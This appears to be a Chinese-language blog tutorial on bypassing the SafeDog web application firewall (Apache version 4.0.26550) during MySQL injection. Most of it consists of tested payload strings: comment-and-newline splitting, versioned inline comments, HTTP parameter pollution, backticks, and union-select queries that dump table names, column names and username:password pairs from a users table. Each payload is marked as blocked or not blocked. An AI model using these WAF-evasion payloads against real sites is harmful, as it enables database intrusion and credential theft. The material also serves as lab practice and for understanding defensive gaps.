SQL注入bypass学习

0x00 前言

练习sql注入过程中经常会遇到一些WAF的拦截,在网上找相关文章进行学习,并通过利用安全狗来练习Mysql环境下的bypass。

0x01 一些特殊字符

1.注释符号

/*!*/:内联注释,/*!12345union*/select等效union select

/**/:注释符号,/*/**/等效于/**/

-- +:--空格加任意字符

;%00

2.其他符号

%23%0a:注释换行符
&、&&、|、||:逻辑操作符``:反引号

 

0x02 安全狗版本

版本:网站安全狗(Apache版) 4.0.26550

SQL注入bypass学习

 

0x03 and绕过

首先测试语句and 1=1拦截情况

and        //不拦截
and 1=1    //拦截
and 1      //拦截
and a      //不拦截
and ‘a’    //拦截

SQL注入bypass学习

经测试发现and后面跟数字型或字符型时会被拦截

绕过方法有两种

1.使用其他字符替换and

使用&的url编码%26替换and进行绕过

SQL注入bypass学习

2.使用-1=-1和-1=-2替换绕过

可能对负数没做限制,也可能是 – 绕过了正则匹配

and -1=-1-- +
and -1=-2-- +

SQL注入bypass学习

 

 SQL注入bypass学习

0x04 绕过order by拦截

order       //不拦截
by          //不拦截
order by    //拦截

SQL注入bypass学习

经过测试,此处有三种方法可以绕过:

1.注释换行绕过

order--%0aby	//拦截——了解到这是最初的姿势,不过现已经失效
order%23%0aby	//不拦截——%23:注释符,%0a换行符

SQL注入bypass学习

2.内联注释加参数污染绕过

order /*!by*/               拦截
order/*!/*55555*/by*/       拦截
order/*!/*!50553*/by*/      拦截
order/*!/*!50553test*/by*/  不拦截但报错
order/*!/*!50554test*/by*/  不拦截

数字加字母组合可绕过,经fuzz测试,当数字大于50553时不报错

SQL注入bypass学习

3.hpp参数污染绕过

在跟服务器交互的过程中,http允许 get 或者post多次传同一参数值,造成覆盖达到一些绕过waf的效果。在php/apache 中,它总解析最后一个id

?id=1‘ /*&id=1‘order by 3-- +*/

SQL注入bypass学习

0x05 绕过union select拦截

1.注释换行加参数污染绕过

单纯使用注释换行符被拦截,经测试在注释符和换行符间加任意数字字母字符绕过

union%23a%0aselect 1,2,3-- +

SQL注入bypass学习

 

2.内联注释加参数绕过

同order by 绕过

SQL注入bypass学习

3.hpp参数污染绕过

同order by 绕过

?id=1‘ /*&id=‘union select 1,database(),3-- +*/

SQL注入bypass学习

 

0x06 database()拦截绕过

直接联合查询database()会被拦截

1.联合查询绕过

/*!database()*/    拦截
database/*!()*/    不拦截
database/*!(*/)    不拦截

2.hpp参数污染的语句中直接查询

后续查询均可使用此方法绕过

SQL注入bypass学习

 

0x07 查表名、列名、字段拦截绕过

经过测试,可以使用两种方法绕过

1.内联注释

对table_name、column_name和字段名使用内联注释绕过限制

union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

SQL注入bypass学习

2.反引号

对information_schema使用反引号绕过

union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+

SQL注入bypass学习

相关推荐